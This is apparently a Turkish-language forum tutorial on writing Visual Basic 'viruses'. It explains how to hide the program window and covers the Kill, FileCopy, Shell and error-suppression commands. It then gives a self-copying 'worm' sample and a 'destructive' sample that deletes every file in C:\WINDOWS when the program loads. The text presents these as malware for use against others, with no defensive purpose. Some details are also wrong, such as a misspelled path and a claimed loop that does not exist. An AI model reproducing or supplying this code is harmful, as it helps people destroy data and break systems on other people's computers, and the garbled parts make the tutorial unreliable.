Şimdi visual Basic programını açtık.Form önümüzde duruyor.Öncelikle şunu düşünecez.Yaratacağımız virüs adam tıkladığında görünsün mü,görünmesin mi?

Eğer virüs sessiz çalışsız diyorsanız,forma bir kere tıklayıp Visible özelliğini False yapın.Şimdi sıra nasıl bir virüs yapacağımıza geldi.Heryere bulaşan bir virüs mü istiyoruz,yoksa sistemi etkileyenmi .

Arkadaşlar virüs ne türlü olursa olsun virüs virüstür.Visual Basic de bize lazım olacak kodlar şunlar(virüs için);

Bunu şöyle düşünün - eskiden ms-dos komutlarıyla yani d-dosla sözde virüsler yapılıyordu .
Bunu exe haline getrmek gibi bişey . neyse kodlarımza geçelim.


Kill:Bu kod belirttiğimiz bir dosyayı silmemize yarıyor.Ama sadece bir dosya değil isterseniz toplu halde de dosya silebilirsiniz.Örnek Kullanım:
Kill "C:\\dosya.exe" C deki dosya .exe yi siler


FileCopy:Bu kod özellikte solucan yazanlar için önemli.Çünkü solucanın kendini kopyalaması için bu kod gerekir.Örnek Kullanım:
FileCopy "C:dosya.exe", "D:\\dosya.exe" C deki dosya.exe yi D ye aynı biçimde kaydeder


Shell:Bu ise istediğimiz bir dosyayı açmamızı sağlar.Örnek Kullanım:
Shell "C:\\virüs.exe" C deki virüs.exe yi açar.

on error resume next:Visual Basic de Programı yazdığımız zaman,program yazdığımız kodları sırasıyla çalıştırır.Eğer kodların birinde bir hata varsa geri kalan kodlar açılmaz işte bu kod bu işe yarıyor.Biz kodda hata yapsak bile sadece onu yok sayıyor sıradaki kodlara geçiyor.Yine virüsümüzde çokca kullanacağımız bir kod.
İşin mantığını öğrendik.Şimdi ben size bu 4 kod ile nasıl ölümcül birşey yazabileceğinizi gösterecem.


Basit Solucan Kodu

Private Sub Form_Load()
On Error Resume Next
FileCopy "C:\\Decument and Settings\\user\\Desktop\\virüs.exe", "D:\\system.exe"
On Error Resume Next
End Sub
bu döngü hep devam eder. exe dosyası kapatılncaya kadar.





Bu kod küçün bir işin mantığını çözmeniz için hazırlanmış bir döküm Masaüstündeki virüsü(yani kendisini) D sürücüsüne kopyalıyor



Şimdi ise yıkıcı bir virüs kodu:
Private Sub Form_Load()
On Error Resume Next
Kill "C:\\WINDOWS\\*.*"
End Sub